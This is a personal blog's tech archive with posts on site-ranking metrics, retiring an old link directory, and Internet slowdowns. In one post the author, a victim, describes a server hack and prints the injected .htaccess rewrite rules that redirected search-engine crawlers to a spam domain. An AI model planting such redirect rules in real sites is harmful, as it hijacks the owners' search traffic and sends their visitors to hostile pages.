Category Archives: Tech stuff

Improving site traffic

A Pipe and a Keyboard Posted on by

Two of the most ofetn asked questions in the blogging world are “how to I start a blog” and “how do I get people to read it”.

The latter is one question I would like to experiment with.

This site has been ticking over since the beginning of last December.  As an eperiment, I would like to see if I can improve its performance from the point of view of visitors and ranking.

Determining a site’s popularity is not easy.  Some people go by the number of visitors within a time period [say, a week or a month] while others go by page views.  Another method is by ranking.

There are three generally accepted ranking figures – Technorati, Google and Alexa.

Measuring visitors to a site is not easy.  On the Head Rambles site, I currently use Ice Rocket, Google Analytics, Woopra and raw log files.  These all give wildly different figures for the same period, so effectively, I ignore them and use them for trending purposes only.

Ranking is a different matter.

I have just registered this site with Technorati, and it apparently has a ranking of 13.  This is roughly what I would expect for a relatively new and unexciting site.  Head Rambles used to have a ranking in excess of 200, but this has dropped off dramatically as the figures are recycled and existing links are discounted and only new links are measured.  Head Rambles currently stands at 93.

Google Ranking is deemed to be important if you are interested in search engine ranking.  Personally, I have not found this to be the case, as Head Rambles consistently shoots to the top of Google within minutes of a post being published.  Head Rambles used to have a ranking of 5 with Google, which was excellent.  However that dropped to 3, presumably when they discovered I was advertising with a non-Google affiliate?  Ranking for this site is currently 4, which I think is pretty good.

Alexa ranking is a strange one.  It is widely used as a benchmark for advertising sales, yet is notoriously difficult to predict as it seems to result from counting the number of visits from people who have the Alexa plug-in installed on their browser.   If this is the case [and Alexa is not that popular as a plug-in] then it is an extremely bad method of quantifying a site’s value.  However, this is the metric chosen by the industry, and who am I to argue?

The Alexa ranking for this site is currently 1,627,533 and it will be interesting to see if I can improve on this figure.

Over the next while, I am going to try various techniques to improve the traffic to this site.  I will of course write about my efforts, and post the corresponding rise or fall in traffic.

It would indeed be nice if I could get this site’s Alexa ranking up close to that of Head Rambles which is currently at 195,510.

We shall see?

Evolution and death

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Many many years ago, I had the idea of putting my Netscape Bookmark file in the Internet.

It was a simple file which I modified slightly to ease navigation.

Version1 

Over a period of months, the file became quite popular as word spread throughout the company where I worked, and people started submitting their own bookmarks.  The file grew, until it reached a stage where I had to create an actual site.

Version2

Soon, the site was picked up by the international community, and developed into one of Ireland’s foremost portals.  It had developed its own identity and had grown to a considerable size.

Version9

This site was written and maintained in my spare time and had become rather a burden.  Advertising was scarce in those days, and thus I wasn’t able to capitalise on the venture.  It was a labour of love, but it was too demanding.

In 2000, or thereabouts, the site was sold, and was removed from the public domain.  Part of the contract of sale stated that I wasn’t allowed to retain the name of the site (‘Irish Lynx’) but I did retain the data.

It seemed a pity to deny the public the resource that they had been using, so I made public the data under another name, but decided not to maintain it.

VersionX

Frankly, I forgot all about it!

The directory has been sitting there for the last six years or so, and still gets a lot of traffic, though only a fraction of the traffic the original site received. 

The site is now hopelessly outdated.  I would imagine that most of the links in it are dead.  It also take up quite a bit of space on the server.

I think the time has come to give it a decent and honourable funeral?

Head Rambles and Cowangate

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I have been watching the ‘Cowangate’ business with some interest.

I’m not talking here about peoples reactions, so much as the effect it is having on Head Rambles.

The first post on the subject went up on Monday, and the resulting traffic stream is remarkable.  So remarkable, that I had to investigate further.

I did a search for ‘Brian Cowan portraits’ and various logical combinations of other searches and came up in the #1 slot worldwide in Google.  I see Donncha has since jumped to the top of the queue in most, but the two sites vie for the top two spots.

What is also interesting is that Head Rambles’ Google Ranking has dropped to zero!  Does Google not trust its own top ranking search results?

I’m not particularly worried about rankings as the important traffic to Head Rambles tends to come through links and RSS feeds, but it is interesting to note how easy it is to hit top spot without even trying?

Finding the nonexistent

A Pipe and a Keyboard Posted on by

So much for a quiet Paddy’s Day.

As The Old Fart wrote yesterday, we had a bit of trouble on the server.  He claimed credit for finding the cause, but he really hasn’t a clue.

The symptom of the problem was that the blogs that I host seemed to vanish off Google’s radar.  Any search for example for ‘head rambles’ would only produce old results, while the newer material just failed to appear at all.

I ran the usual tests, and Google reported that the sites were fine and were being spidered on a regular and frequent basis, so what the hell was going on?

I checked the logs for a couple of the blogs and found some very unusual activity.  There was indeed a phenomenal number of visits to the sites from Google, but they were successfully finding files and directories that didn’t exist!

How do you successfully find something that doesn’t exist?  For a while I was baffled.

I think it was more intuition and luck than logic, but I checked the .htaccess files and there it was in all its glory – a hack.

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} (Googlebot|Slurp|msnbot)
RewriteRule ^ http://doormoney.biz/ [R=301,L]

Somehow [and I still don’t know quite how] they managed to modify each .htaccess file and add those lines. 

The upshot was that Google was visiting what it thought was my sites, but in fact was that other site, which as far as I can make out is a warez site.

Needless to say, I removed the lines and locked down the files, and immediately Google started getting a 404 [not found] instead of a 200 [successful] so that solved that.

Since then, one of my Elite Bloggers posted an article, and it appeared within fifteen minutes in Google

I did a wee search around the Internet to see if this was a common hack and it is not unknown.  I found a couple of interesting articles on it here and here.

So someone else had a wasted Paddy’s Day too?

I am not alone.

The lifespan of the Internet

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The Internet has just celebrated its twentieth birthday.

A mere two decades on, it has been embraced by the world and has become as essential to society as the telephone or the printing press.

My own intoduction to the Internet came about somewhere in the early nineties.

In those days, web pages were static and graphics tended to be used for illustration rather than decoration.  Multimedia was virtually unheard of, as speeds tended to be low.  My corporate connection to the Internet backbone was a dedicated 256K line which served 2,000 staff.

My home connection for many years was a 56K dialup which served me very well.  Then broadband arrived and my connection jumped to a (relatively) massive 3M.

My connection is still 3M and is remarkably constant. I have few contention issues and am pretty much guaranteed maximum speeds at all times.

I have noticed lately though, that I am experiencing more of the problems I used to be familiar with in my dialup days.  I get page load errors, sites that are very slow to load and general timeout errors.

Has the Internet reached capacity?  Has YouTube, media streaming and the sheer volume of information saturated the bandwidth?

Is it just me, or has anyone else experienced this?